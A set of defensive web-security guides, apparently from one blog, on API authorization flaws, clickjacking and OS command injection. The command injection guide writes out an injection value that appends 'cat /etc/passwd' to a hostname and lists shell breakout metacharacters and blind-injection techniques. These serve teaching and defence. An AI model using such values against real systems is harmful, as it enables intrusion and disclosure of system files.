## How to defend against API abuse
1. **Authorize every object access.** On each request, confirm the authenticated user owns or may access the specific object named, using the identity from the session, never an identifier from the request body.
2. **Enforce function-level roles server-side.** Guard every privileged endpoint with a role and permission check, deny by default, and assume attackers will find and call hidden routes directly.
3. **Shape data explicitly.** Return only the fields a response needs and bind only the fields a request may set. Do not send full records and trust the client to hide the rest.
4. **Rate limit and set quotas.** Throttle by user and by endpoint, cap expensive operations, and slow enumeration and brute force even where authorization holds.
5. **Keep an inventory of endpoints.** Shadow, deprecated, and undocumented endpoints are a favorite target. You cannot protect what you have not catalogued.
6. **Test with a second account.** The fastest way to find BOLA and BFLA is to take an object or action that belongs to user A and try it as user B. Do this in review and in automated tests.
Authorization flaws in public APIs are a leading cause of modern data breaches. Our Exploit Intelligence dashboard tracks live vulnerabilities across API and application components, so you can prioritize the authorization and exposure fixes attackers are actually using.
## A worked example of a BOLA discovery
It helps to see how a tester turns a hunch into a confirmed finding, because the same steps are what an attacker runs. Suppose an app has a profile page that loads your details. Watching the traffic, you notice the page calls an endpoint that names your account by a numeric identifier. The response carries your email, your phone number, and your saved address.
The first move is to change the identifier by one and resend the request with your own valid session token attached. If the server returns a different person's profile, the ownership check is missing and you have a BOLA. If it returns an error, you are not done, because a single failure does not prove the check is sound. Try an identifier far from your own, try one that belongs to an account you control from a second login, and try the same request with a different HTTP method in case a sibling handler is less careful. The goal is to separate two cases: a server that genuinely checks ownership on every path, and a server that happens to reject one shape while accepting another.
Once a single swap works, the severity comes from scale. If the identifiers are sequential and there is no rate limit, a short script walks the whole range and pulls every record. If they are random, the attacker looks for places those identifiers leak, a shared link, a referral parameter, a log, a cached response, since a random identifier is only a speed bump, never an authorization decision. The finding that matters to a defender is the same one either way: the endpoint authenticates the caller and never confirms the caller owns the object it returns.
## API abuse in GraphQL
The examples so far use REST paths, and the same failures appear in GraphQL with a different surface. A GraphQL API exposes a single endpoint and a typed schema, so the identifier and the action move into the query body rather than the URL. BOLA shows up when a query asks for a node by id and the resolver returns it without checking the caller owns it. BFLA shows up when a mutation performs a privileged action and the resolver trusts that the client would only send it for an admin.
GraphQL adds two wrinkles worth naming. The first is that a single query can traverse relationships, so a caller who reaches one object may be able to walk from it to related objects whose resolvers are less carefully guarded. Authorization has to hold at every resolver, including the ones reached past the entry point. The second is that introspection, when left enabled in production, hands an attacker the full schema, including the names of privileged mutations the front end never calls. That does not create a vulnerability by itself, and it removes the guesswork, which is why treating a hidden mutation as protected because the UI never shows it is the same mistake as trusting a hidden REST route.
## How to detect API abuse in progress
Prevention is the goal, and detection is what catches the gap you missed. The signals below are concrete enough to build alerts around.
**Sequential identifier access.** A single session requesting many object identifiers in ascending or descending order, especially across accounts, is the enumeration footprint of a BOLA being exploited. A normal user touches their own handful of objects, not a sweep of the range.
**Authorization denials that keep coming.** A burst of 403 or 404 responses to one caller across many object identifiers suggests someone probing for the one object the check misses. The denials are the tool working, and the danger is the request that finally succeeds.
**Privileged endpoints called by ordinary roles.** A request to an admin route from a session that has never held an admin role is a BFLA probe whether or not it succeeds. Log the role on every privileged call and alert when it is wrong.
**Response sizes that do not match the feature.** Excessive data exposure is visible as responses far larger than the UI uses, or as fields in the wire data that never render. Comparing the fields a client requests against the fields it displays can surface the leak.
**Volume out of proportion to the account.** One token pulling thousands of records, or hitting a login endpoint far faster than a human could type, points at missing rate limits feeding enumeration or credential stuffing.
## How the OWASP API list evolved
The shape of this problem has been stable enough that the OWASP API Security Top 10 has kept authorization at the top across its editions. The first edition put Broken Object Level Authorization at number one and Broken Function Level Authorization high on the list, reflecting that most reported API incidents were authorization failures rather than injection or memory bugs. The later edition kept that emphasis and refined the property-level category, splitting out Broken Object Property Level Authorization to name the two directions of the same trust mistake: reading fields you should not see (the old excessive data exposure) and writing fields you should not set (mass assignment). It also sharpened the resource-consumption entry to cover both cost and rate. The lesson to carry from the history is that the dominant API risks are about who may touch what, and they have stayed that way as the technology underneath shifted from REST to GraphQL to gRPC.
## Where API keys and tokens fit
A related class of abuse targets the credential itself rather than the authorization logic behind it. An API key checked into a public repository, embedded in a mobile app binary, or leaked in a client-side bundle gives an attacker a valid caller identity, and from there every authorization gap in the API is theirs to exploit at the privilege level of that key. The defensive habits are separate from the ones above and reinforce them: scope each key to the least it needs, rotate keys on a schedule and immediately on suspected exposure, and never ship a high-privilege key to a client the user controls. A key that can only read one tenant's public data is a far smaller prize than a key that can call every endpoint. When a leaked key meets a BFLA gap, an outsider gains an admin action they were never issued, which is why credential hygiene and authorization discipline have to travel together.
Bearer tokens carry the same lesson. A token that never expires, or one accepted by services it was never issued for, widens the window an attacker has after any single leak. Short lifetimes, audience restrictions that name the intended service, and revocation you have actually tested keep a stolen token from becoming a standing key to the whole surface.
## Common misconceptions
**A private or undocumented endpoint is safe.** Obscurity is not access control. If the route answers, an attacker who finds it, from front-end code, a mobile app, an error message, or a schema, can call it. Treat every reachable endpoint as public.
**HTTPS protects the data.** Transport encryption stops an eavesdropper on the network. It does nothing about a caller who is authenticated and simply asks for an object they should not receive. Authorization is a separate layer from transport.
**Random identifiers fix BOLA.** They raise the cost of blind enumeration and authorize nothing. An identifier that leaks is as usable as one that was guessed.
**The gateway handles authorization.** An API gateway can enforce authentication and coarse policy, and it rarely knows whether this caller owns this specific object. Object-level and field-level authorization belong in the service that has the ownership data.
## Frequently asked questions
**What is the difference between BOLA and IDOR?**
They are the same underlying flaw seen from two angles. IDOR is the classic web term for a request reaching an object by a direct reference without an ownership check. BOLA is the API-specific name OWASP uses for it. If you understand one, you understand the other, and the fix is identical: verify on every request that the authenticated user may access the specific object named.
**Why is authorization harder to get right than authentication?**
Authentication is a single question answered once per request: who is this caller. Libraries and identity providers solve it well. Authorization is a question asked at every object and every action, and the answer depends on application data the framework does not know: who owns this record, what role this action requires, which fields this role may set. That per-object, per-field logic lives in your code, so it is where the gaps appear.
**Can automated scanners find BOLA and BFLA?**
Partly. Tools can flag missing authentication and some obvious pattern breaks, and object-level and function-level authorization depend on knowing who should own what, which a scanner cannot infer. The reliable method is testing with two accounts: take an object or action that belongs to user A and attempt it as user B. That check finds the flaw a scanner walks past.
**Does rate limiting stop API abuse?**
It stops the abuse that needs no authorization gap, such as credential stuffing and scraping, and it slows enumeration of a gap that does exist. It does not authorize anything, so a single BOLA still leaks the object it reaches even behind a strict limit. Rate limiting contains blast radius and buys time; the authorization check is what closes the hole.
**How does mass assignment relate to these?**
Mass assignment is the write side of property-level authorization: the API binds request fields onto an object and lets a caller set fields they should not, such as a role or a balance. Excessive data exposure is the read side of the same category. Both come from trusting the shape of the request or the record instead of naming exactly which fields each direction may carry. See [Mass Assignment Explained](/mass-assignment-explained).
**What should I test first on a new API?**
Take one object you own and try to reach it as a different user (BOLA), then try one privileged action as an ordinary user (BFLA), then read a raw response and look for fields the UI never shows (excessive exposure). Those three checks cover the top of the OWASP API list and find most of the serious findings quickly.
API abuse is mostly one bug wearing different clothes: the server knows who is calling and forgets to check what they may touch. Close that gap object by object and function by function, return only the data each caller needs, and rate limit the rest. Those controls turn an API from an open filing cabinet into one that only ever hands each user their own drawer.
## Related guides
- [IDOR Explained](/idor-explained)
- [Mass Assignment Explained](/mass-assignment-explained)
- [API Security Guide](/api-security-guide)
- [Rate Limiting Explained](/rate-limiting-explained)
### Sources
- OWASP API Security Top 10 (OWASP): https://owasp.org/API-Security/editions/2023/en/0x11-t10/
- PortSwigger Web Security Academy: API testing (PortSwigger): https://portswigger.net/web-security/api-testing
- MITRE ATT&CK: Exploit Public-Facing Application (T1190) (MITRE): https://attack.mitre.org/techniques/T1190/
---
## Clickjacking Explained: UI Redress Attacks & Frame Defenses
> How clickjacking hijacks a user's clicks with transparent iframes, what an attacker can trigger, and how to block framing with headers and CSP.
- URL: https://blog.pwnsy.com/clickjacking-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: clickjacking, web-security, owasp, csp, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- Clickjacking loads a real site inside a transparent frame over an attacker-controlled page, so the victim's clicks land on hidden buttons they cannot see.
- The user believes they are clicking a harmless element while actually confirming a transfer, changing a setting, or granting a permission on the framed site.
- It works because a click is a click: the browser cannot tell an intended interaction from a tricked one, and the framed site sees a normal authenticated request.
- The reliable defense is to forbid framing of sensitive pages using CSP frame-ancestors, backed by X-Frame-Options for older clients.
### Key Takeaways
- Clickjacking is a UI redress attack: the attack surface is the visual layer, not a parsing bug in the server.
- Transparent or low-opacity iframes, precise positioning, and lures like fake buttons or games are the standard building blocks.
- Variants extend the idea to keystrokes (strokejacking) and to dragging content (drag-and-drop attacks).
- CSP frame-ancestors is the modern control and supersedes X-Frame-Options, which cannot express an allowlist of multiple origins.
- Framebusting JavaScript alone is unreliable and can be defeated, so it belongs behind header-based controls, not in front of them.
Most web attacks target the server: a parser that trusts the wrong input, a query built from a string. Clickjacking targets the person. It exploits the fact that a user decides what to click based on what they can see, and the browser has no way to know that what they saw was a lie. By stacking a real, sensitive page underneath a decoy the victim believes they are using, an attacker collects genuine clicks and points them at buttons the victim would never press on purpose.
The technique is old and the mechanics are simple, which is exactly why it keeps working on applications that never got around to setting a single response header.
## The core idea
A clickjacking page loads the target site inside an `iframe` and makes that frame invisible, usually by setting its opacity close to zero. On top, or rather underneath, the attacker builds a lure: a page that says "Click here to claim your prize" or a small game where the user has to click a button in a specific spot. The frame is positioned so that the target's sensitive control (a "Confirm" button, a "Delete account" link, a permission dialog) sits exactly where the lure invites the user to click.
The victim sees the decoy. Their cursor is over the decoy. But because the invisible frame is layered on top and receives the pointer events, the click actually lands on the framed site. The framed site is loaded in the victim's own browser with the victim's own session, so the request that follows is fully authenticated and completely normal from the server's perspective. Nothing was forged. The user really did click.
## What an attacker can trigger
Clickjacking is only as powerful as the actions a single click can complete on the target site. The higher the value of one-click actions, the worse it gets:
- Confirming a funds transfer or a purchase that was pre-filled
- Changing an account setting such as an email address or recovery option
- Granting an OAuth authorization or a device permission
- Enabling a feature, following an account, or posting content
- Toggling a security control to a weaker state
Any workflow that turns a meaningful state change into one confirmation click is a candidate. Multi-step flows can be attacked too, by chaining several framed clicks across a sequence of decoys.
From the server's point of view, a clickjacked action is indistinguishable from a real one. Same session cookie, same origin behavior, same everything. This is why server-side input validation does nothing to stop it. The defense has to prevent the page from being framed in the first place, which is a decision the response itself must declare.
## Variants worth knowing
The core pattern extends beyond single clicks:
- **Strokejacking.** Instead of a click, the attacker captures keystrokes and directs them into a hidden framed input, for example steering typed characters into a field on the target site.
- **Drag-and-drop attacks.** The user is induced to drag an object across the screen, and the drag path moves data into or out of the hidden frame, which can extract or inject content.
- **Likejacking.** A historical, narrow form aimed at social widgets, where the hijacked click is a "like" or follow action. The label stuck as a reminder that even low-value clicks are worth stealing at scale.
The common thread is that the victim's genuine input is redirected to a target they cannot see.
## Why framebusting scripts are not enough
Before headers existed, sites tried to defend themselves with JavaScript that checked whether the page was the top-level window and, if not, tried to break out of the frame or blank the content. This "framebusting" approach has a long history of bypasses. Attackers used sandboxed iframes to neutralize the script, raced the navigation, or abused browser quirks to stop the bust from running. Framebusting can still be a small extra layer, but it must never be the only control, because it runs inside the very context the attacker controls the loading of.
## Header-based defense
The durable fix moves the decision out of page script and into the HTTP response, where the browser enforces it before rendering. Two mechanisms exist.
| Control | What it does | Notes |
|---|---|---|
| `Content-Security-Policy: frame-ancestors` | Declares exactly which origins may frame the page | Current standard; supports an allowlist and `'none'` |
| `X-Frame-Options` | Legacy header allowing `DENY` or `SAMEORIGIN` | Cannot express multiple allowed origins; kept for old clients |
The modern control is the CSP `frame-ancestors` directive. To forbid all framing of a sensitive page, send:
```
Content-Security-Policy: frame-ancestors 'none'
```
To allow only your own origin to frame it:
```
Content-Security-Policy: frame-ancestors 'self'
```
To allow a specific partner in addition to your own site, list the origins explicitly. This allowlist ability is why `frame-ancestors` supersedes `X-Frame-Options`, which only understood "deny everyone" or "same origin only" and could not name a third party.
`X-Frame-Options` still has value for older browsers that predate CSP framing support, so many sites send both. Where they conflict, treat `frame-ancestors` as the authoritative one and keep `X-Frame-Options` as a compatibility fallback.
Unless a page is specifically designed to be embedded (a widget, an intentional partner integration), it should refuse to be framed. Set `frame-ancestors 'none'` as the baseline for application pages, then relax it only for the specific routes and origins that genuinely need embedding. Deny by default keeps you from forgetting to protect the one sensitive page that mattered.
## How to defend against clickjacking
1. **Send frame-ancestors on every sensitive page.** Use `'none'` for anything that should never be embedded and an explicit origin allowlist for the rare page that should. Make it part of your default response headers so new routes inherit it.
2. **Keep X-Frame-Options as a fallback.** Send `DENY` or `SAMEORIGIN` alongside CSP for clients that do not honor `frame-ancestors`.
3. **Require re-authentication or a second step for high-value actions.** A click alone should not move money or change security settings. A password prompt, a typed confirmation, or a step that cannot be pre-positioned defeats a single stolen click.
4. **Set cookies with SameSite where appropriate.** This does not stop framing on its own, but it limits how framed and cross-site requests carry session context.
5. **Test the headers, do not assume them.** Verify with the browser developer tools or a header scanner that the response actually carries the directive on the routes that matter, including error pages and authenticated views.
Clickjacking never touches your server logic, so no amount of backend hardening removes it. It lives entirely in whether the browser will let your page be layered under someone else's. Attackers fold UI redress into wider campaigns alongside phishing and session theft, and our Exploit Intelligence dashboard tracks how these techniques show up in active exploitation. Declare that your page cannot be framed, protect the response headers across every sensitive route, and gate one-click state changes behind a step an attacker cannot pre-align, and the attack loses its foundation.
## A worked example, layer by layer
Walking through the construction of an attack makes the mechanics concrete. Suppose a target application has a page at a settings route with a single button labeled "Delete my account", and clicking it performs the deletion in one step for a logged-in user. That one-click destructive action is the ingredient an attacker looks for.
The attacker builds a page of their own and hosts it somewhere the victim might visit, perhaps promoted through a link in a message or an ad. On that page they place an `iframe` whose source is the target's settings route. They style the frame with a very low opacity, close to zero, so the victim cannot see it, and they set its dimensions and position so the hidden "Delete my account" button lands over a spot on the visible decoy.
The decoy is the persuasion layer. It might be a headline that says "You have won. Click the green button to claim", with a large, inviting button positioned exactly where the hidden delete control sits underneath. The attacker adjusts the frame's coordinates until the alignment is pixel-accurate. Because the frame sits on top in the stacking order and is transparent, the victim sees the decoy button but the pointer events pass to the framed control.
The victim clicks. Their browser is logged into the target with a valid session cookie, so the delete request goes out fully authenticated. The server sees a normal, authorized request from a real session and completes the deletion. Nothing was forged, no credential was stolen, and the server has no way to know the click was tricked. The only place this could have been stopped is in the browser, before it agreed to render the target inside the attacker's frame.
The same construction generalizes. Swap the delete button for a "Confirm transfer" control, an "Authorize" button on a consent screen, or a toggle that weakens a security setting, and the attack transfers directly. The value of the attack scales with the value of whatever a single authenticated click can accomplish on the target.
A more elaborate version chains several framed clicks. The attacker builds a decoy that asks the victim to click in a sequence of spots, framed as a game or a step-by-step reward, and aligns each spot over a control in a multi-step flow on the target. Each click advances the target's workflow while the victim believes they are progressing through the decoy. This is how attackers reach actions that are not single-click, at the cost of a more fragile alignment that has to survive each step of the target's interface.
## Detection signals
Clickjacking is prevented at the response layer, but there are indicators worth watching to know whether pages are exposed or whether framing is being attempted.
- **Sensitive routes without framing headers.** The clearest signal is a page that performs state changes and returns neither a `Content-Security-Policy: frame-ancestors` directive nor `X-Frame-Options`. A header scan across authenticated routes surfaces the gaps.
- **Referer or origin anomalies on sensitive actions.** Requests for high-value actions arriving with a Referer or Origin that is an unfamiliar external site can indicate that the page was framed elsewhere, though these headers are not always present and should not be relied on as a sole control.
- **Framing reports from a report-only policy.** Deploying a Content Security Policy in report-only mode can surface attempts to embed pages where they should not be, giving visibility before enforcement.
- **User reports of unexpected state changes.** Accounts that report settings changing or actions occurring that the user does not remember performing can point to UI redress, especially when the actions are one-click and the user recalls visiting an unrelated page.
- **Unexpected embedding in third-party pages.** Monitoring for your sensitive pages being loaded in frames on domains you do not control, where such telemetry is available, is a direct sign of an attempt.
The honest position is that clickjacking generates weak runtime signals, because a successful attack looks like a legitimate action. This is exactly why the emphasis falls on prevention through headers rather than detection after the fact.
## Clickjacking against related web attacks
Clickjacking is often confused with attacks that share its cross-site character. The distinctions matter, because the defenses differ.
| Attack | What is abused | Where it operates | Primary defense |
|---|---|---|---|
| Clickjacking | The visual layer and genuine clicks | The browser rendering layer | frame-ancestors, X-Frame-Options |
| CSRF | Implicit sending of session cookies | The request layer | Anti-CSRF tokens, SameSite cookies |
| XSS | Injected script running in the page | The page's own origin | Output encoding, CSP script controls |
| Open redirect | Trust in a redirect target | The navigation layer | Allowlist redirect destinations |
| Tabnabbing | A backgrounded tab rewriting itself | Cross-window references | `rel="noopener"` on external links |
The pairing that causes the most confusion is clickjacking and CSRF. Both cause an authenticated action the user did not intend. The difference is the mechanism: CSRF forges a request that the browser sends automatically with its cookies, and it is defeated by requiring an unguessable token or a SameSite cookie policy. Clickjacking makes the user genuinely perform the click, so anti-CSRF tokens do not help, because the token is present in the framed page and travels with the real click. Only preventing the framing, or requiring an extra deliberate step, stops it.
It is tempting to assume that setting cookies to SameSite closes clickjacking, since it limits cross-site request behavior. It does not. In a clickjacking attack the request originates from the framed target's own origin as a top-level authenticated interaction, so a SameSite cookie is often still sent. SameSite is a valuable control against CSRF and reduces cross-site session exposure, but the control that actually stops framing is frame-ancestors.
## Common mistakes
Several recurring errors leave applications exposed even when the team believes clickjacking is handled.
**Relying on framebusting script alone.** JavaScript that tries to break out of a frame runs inside the context the attacker controls the loading of, and it has a long history of bypasses through sandboxed frames and navigation races. It can be a minor extra layer, but it must sit behind header-based controls, never in place of them.
**Setting the header on the login page only.** Protection has to cover every route that performs a sensitive action, including authenticated pages deep in the application, confirmation dialogs, and even error pages that expose controls. Attackers target the specific one-click action, so a single unprotected sensitive route undoes the effort.
**Using X-Frame-Options with an origin value.** The `ALLOW-FROM` form of X-Frame-Options was inconsistently supported and is effectively obsolete. It cannot express multiple origins reliably. Where an allowlist is needed, use CSP frame-ancestors, which was designed for exactly that.
**Forgetting to test the deployed response.** Headers set in code or configuration can be stripped or overridden by a proxy, a CDN, or a framework default. The only reliable check is inspecting the actual response the browser receives on the routes that matter, not assuming the configuration took effect.
**Treating framing as always malicious.** Some pages are meant to be embedded, such as documented widgets or partner integrations. The goal is deny by default with a precise allowlist for the routes and origins that genuinely need embedding, so protection does not break legitimate use and legitimate use does not force blanket permissiveness.
## How the defenses evolved
Early web applications had no dedicated control against framing, and the first countermeasures were framebusting scripts written in JavaScript. Attackers steadily defeated them, which drove browsers and standards bodies to move the decision into the HTTP response where page script could not interfere.
The `X-Frame-Options` header emerged as the first response-level control, offering `DENY` and `SAMEORIGIN`. It solved the common cases but could not express an allowlist of several trusted origins, and its `ALLOW-FROM` extension was poorly and inconsistently implemented. Content Security Policy then introduced the `frame-ancestors` directive, which expresses `'none'`, `'self'`, and an explicit list of permitted origins in a standardized way. That directive is now the authoritative control, with X-Frame-Options kept as a fallback for older clients. The trajectory has been consistent: move enforcement out of the page and into the browser, and give defenders precise control over exactly who may embed a page.
## Tapjacking, the mobile relative
The same idea appears on touchscreens under the name tapjacking. On mobile, an application or an overlay draws a decoy on top of a sensitive control, and the user's tap passes through to the element beneath. The classic setting is a malicious app that draws a transparent or misleading overlay over a system permission prompt, so a tap the user believes grants something harmless actually grants a dangerous permission.
The mechanics mirror browser clickjacking: a visual layer the user trusts sits over an action the user cannot see, and the genuine tap is redirected. The defenses differ in form but share the principle. Mobile platforms provide ways for a sensitive view to refuse taps when it is obscured by another window, and they increasingly restrict which apps may draw overlays over others. Application developers building sensitive flows should opt into those obscured-touch protections so a tap on a critical control is rejected when something is drawn on top of it. The lesson carries across form factors: when the visual layer can be controlled by an attacker, the safe default is to refuse input that arrives through an obstruction.
## Frequently asked questions
**Is clickjacking still relevant now that browsers are more capable?**
Yes. The attack does not depend on a browser flaw, it depends on an application failing to declare that its pages cannot be framed. Any sensitive page that ships without frame-ancestors or X-Frame-Options is exposed regardless of how modern the browser is, and plenty of applications still omit those headers on interior routes.
**Does HTTPS protect against clickjacking?**
No. HTTPS protects the confidentiality and integrity of data in transit, but it says nothing about whether a page may be embedded in a frame. A page served over HTTPS is just as framable as one served over HTTP unless it sends the appropriate framing headers.
**Can I stop clickjacking purely with JavaScript?**
Not reliably. Framebusting script runs in a context the attacker influences and has a long record of bypasses. Use header-based controls as the real defense and treat any script-based measure as a small supplementary layer at most.
**What is the single most important control?**
Sending `Content-Security-Policy: frame-ancestors 'none'` on every page that should never be embedded, and an explicit origin allowlist on the rare pages that should. Make it a default response header so new routes inherit it automatically rather than depending on someone remembering per page.
**Does clickjacking let an attacker steal my data directly?**
Usually not directly. Its power is causing an authenticated action, so its impact is whatever a single click can accomplish on the target, such as confirming a change or granting a permission. Related variants like drag-and-drop attacks can move data, but the classic form is about triggering an action rather than reading content.
**Why not require confirmation on every single action?**
Requiring a deliberate second step, such as re-entering a password or typing a confirmation phrase, is an excellent defense for high-value actions, and it defeats a single stolen click. Applying it to every action would harm usability, so the practical approach is to gate the genuinely sensitive, irreversible actions and rely on frame-ancestors to protect the rest.
**How do I verify my headers are actually set?**
Load the page and inspect the response headers in the browser developer tools, or use a command-line request or a header-scanning tool. Check the specific authenticated and sensitive routes, going well beyond the home page, and confirm the directive survives any proxy or CDN in front of the application.
**Should I still send X-Frame-Options if I have frame-ancestors?**
Sending both is a reasonable belt-and-suspenders choice. Modern browsers honor frame-ancestors and treat it as authoritative, but some older clients understand only X-Frame-Options. Send `DENY` or `SAMEORIGIN` alongside the CSP directive so legacy clients are covered, and keep frame-ancestors as the control that expresses any allowlist you need.
## Related guides
- [HTTP Security Headers Reference](/http-security-headers-reference)
- [Content Security Policy Explained](/content-security-policy-explained)
- [CSRF Explained](/csrf-explained)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
### Sources
- OWASP: Clickjacking (OWASP): https://owasp.org/www-community/attacks/Clickjacking
- PortSwigger Web Security Academy: Clickjacking (PortSwigger): https://portswigger.net/web-security/clickjacking
- MITRE CWE-1021: Improper Restriction of Rendered UI Layers or Frames (MITRE): https://cwe.mitre.org/data/definitions/1021.html
---
## Command Injection: Shell Metacharacters & Safe APIs
> How OS command injection breaks out of an intended command via shell metacharacters, and why argument-array APIs beat string concatenation.
- URL: https://blog.pwnsy.com/command-injection-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: command-injection, web-security, owasp, rce, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- OS command injection happens when user input is placed into a command run by a system shell, letting an attacker add their own commands to the one the application intended.
- The root cause is passing a built-up string to a shell, which interprets metacharacters like semicolons, pipes, and backticks as instructions rather than data.
- The fix is to avoid the shell: call programs directly with an argument array so the input can never be reinterpreted as a new command.
- Blind command injection returns no output, but it is still exploitable through time delays and out-of-band network callbacks.
### Key Takeaways
- Shell execution and direct execution are different: the shell parses metacharacters, direct argument-array execution does not, which is why the safe API choice ends the vulnerability.
- Metacharacters like ; && || | ` $() and newlines are the breakout tools, because the shell treats them as command separators or substitutions.
- Allowlisting acceptable input values is far safer than trying to blocklist dangerous characters, which attackers evade with encoding and alternate syntax.
- Blind command injection is detectable via injected sleep commands (timing) and out-of-band DNS or HTTP callbacks even when no output is shown.
- Command injection frequently leads directly to full server compromise, so it ranks among the highest-severity web flaws when present.
Some applications need to run an operating-system command: ping a host, convert an image, look up a DNS record, generate a PDF with an external tool. If any part of that command is built from user input and handed to a system shell, the application has almost certainly opened a door to running attacker-chosen commands on the server. That is OS command injection, and when it is present, it usually means full server compromise.
The bug is a cousin of SQL injection. Both come from mixing untrusted data into a language the machine will interpret, and both are solved the same way in principle: keep the data and the instructions in separate lanes so the data can never become an instruction. With commands, the interpreter is the shell, and the separation is achieved by not invoking a shell at all.
## The core mechanism
Say an application lets a user check whether a host is reachable, and it implements that by running the system `ping` command with the hostname the user typed. If the code builds a command string and passes it to a shell, it might look like this conceptually:
```
ping -c 1
```
Supply a normal hostname and it works. Supply this instead:
```
example.com; cat /etc/passwd
```
and the shell sees two commands separated by a semicolon. It runs the ping, then runs `cat /etc/passwd`. The application asked for one command. The shell, doing exactly what shells do, ran two. The attacker's command executes with the privileges of the application process.
The reason this works is that the shell is a language interpreter. When you hand it a string, it parses that string for structure: separators, pipes, substitutions, redirections. It cannot tell that the hostname was supposed to be inert data. To the shell it is all one program to parse and run.
It is worth being precise about where the trust boundary sits. The application code is not the interpreter. The application builds a string and hands it off, and the interpretation happens in the shell, one layer down, where the developer's intent is invisible. That gap is the entire vulnerability. The shell has no concept of "this part was a hostname the user typed and that part was my command template." It sees one line of shell script and executes it faithfully. Any mental model that treats the input as data right up until the shell receives it is misleading, because the moment the shell parses the line, the input has become code.
## The metacharacters that break out
The attacker's toolkit is the set of characters the shell treats as syntax rather than text:
| Character | Effect in a shell |
|---|---|
| `;` | Ends one command, starts the next |
| `&&` / `\|\|` | Run next command on success / on failure |
| `\|` | Pipe output of one command into another |
| `` ` `` or `$( )` | Command substitution: run this and insert its output |
| `&` | Run the command in the background |
| newline | Acts as a command separator |
| `>` `<` | Redirect output or input to a file |
Any one of these, if it reaches the shell inside user input, is a potential breakout. This is also why character blocklists are a losing game: the list is long, shells differ, and encoding or alternate syntax routinely slips past filters.
## Argument execution versus shell execution
The single most important distinction in this whole topic is how the command gets launched. There are two ways, and they behave completely differently.
**Shell execution** hands a full command string to a shell to parse and run. The shell interprets metacharacters. This is the vulnerable path. Functions and patterns that spawn "a command line" or run "a shell command" fall here.
**Direct (argument-array) execution** launches a named program with an explicit array of arguments and no shell in between. The operating system starts the program and passes the arguments straight to it. There is no shell to parse metacharacters, so a semicolon in an argument is just a semicolon: a literal character delivered to the program as data. The `ping` program receives `example.com; cat /etc/passwd` as a single hostname argument, fails to resolve it, and does nothing dangerous.
The lesson writes itself. When you must run an external program, call it directly with a fixed program name and an argument array, and never route user input through a shell. This is the primary fix, and it is close to absolute, because it removes the interpreter the attack depends on.
Switching to an argument-array API only helps if no shell sneaks back in. Some execution functions run a shell when you pass a single string but skip it when you pass an array; some invoke a shell whenever a certain flag is set. Passing a shell path as the program, or setting a shell option, reintroduces the exact vulnerability you were trying to remove. Confirm that your chosen API does not spawn a shell, and never build the argument list by concatenating user input into one string.
## Blind command injection
As with other injection classes, the output is not always returned. In blind command injection the server runs your command but shows you nothing. It is still exploitable through side channels.
- **Time-based detection.** Inject a command that sleeps for a fixed number of seconds. If the response takes that much longer, the injection is real. This confirms execution with no output at all.
- **Out-of-band callbacks.** Inject a command that makes the server perform a DNS lookup or HTTP request to a host the attacker controls. When the callback arrives, execution is proven, and the same channel can carry stolen data out by embedding it in the hostname or path.
Blind command injection is slower to weaponize and just as serious, because confirmed execution of one command means the attacker can run any command.
There is also a class between visible and fully blind: the application runs your command and returns an error or a status but not the command's output. Even here, an attacker can often coax data out by redirecting a command's output into a file inside the web root and then requesting that file over HTTP, or by making the difference between success and failure depend on the answer to a yes-or-no question about the system. The recurring lesson is that the absence of visible output is not the absence of a channel. Once execution is confirmed, the attacker's problem is only ever how to read the result, and there are many ways to solve that.
## How to defend against command injection
The controls are ordered by strength. The first one is the real fix; the rest reduce risk when the first cannot fully apply.
1. **Do not call the shell.** Where you must run an external program, use the direct argument-array API for your language, passing a fixed program name and each argument as a separate array element. This is the defense that ends the vulnerability.
2. **Better still, avoid shelling out at all.** Most tasks people spawn commands for, DNS lookups, file operations, image processing, have a native library that does the job in-process with no command line involved. Prefer it.
3. **Allowlist the input, not the characters.** When input feeds a command, constrain it to a strict set of acceptable values or a tight pattern (for example, a valid hostname format), and reject everything else. Allowlisting the shape of valid input beats trying to enumerate every dangerous character. See our [input validation guide](/input-validation-guide) for how to build these checks.
4. **Run with least privilege.** The application process should have the minimum operating-system permissions it needs, so that even a successful injection lands somewhere constrained rather than as a high-privilege user.
5. **Never build commands by string concatenation.** If you find user input being glued into a command string anywhere in the codebase, treat it as a finding regardless of the filtering around it.
Command injection and SQL injection are the same disease with different interpreters. Both come from mixing untrusted data into text that a machine will parse as instructions, and both are cured by keeping data out of the instruction stream: parameterized queries for SQL, argument arrays for commands. If your team already treats string-built SQL as forbidden, extend the exact same rule to string-built shell commands.
Because a single confirmed command means the attacker can run anything the process can, command injection is a favorite pivot for delivering further payloads, and the delivery often arrives as a crafted file or parameter. Our Exploit Intelligence dashboard tracks which command-injection and remote-code-execution flaws are under active exploitation, so you can see which of these bugs are being used right now rather than treating every advisory identically.
## Where the input hides
The obvious injection point is a form field that clearly feeds a command, such as a hostname box behind a ping tool. The dangerous ones are the inputs nobody thought of as reaching a shell. Command injection follows the data, so the vulnerability can sit far from where the value entered the system.
- **Filenames and upload metadata.** An uploaded file's name, or a field inside its metadata, may be passed to an external tool for conversion or inspection. A filename like `photo.jpg; id` reaches a shell if the processing step builds a command string around it.
- **HTTP headers.** A `User-Agent`, `Referer`, or `X-Forwarded-For` value that gets logged and then fed to a shell command for analysis is attacker-controlled text arriving through a channel the developer rarely treats as input.
- **Values from a database.** Input stored earlier and used later is still input. A value that was safe to store becomes dangerous the moment it is concatenated into a command, which is why the trust boundary is the shell call, not the original request.
- **Fields inside structured formats.** A name inside an XML or JSON document, a value pulled from a configuration file, or an entry from a directory service can all reach a shell if some downstream step shells out with them.
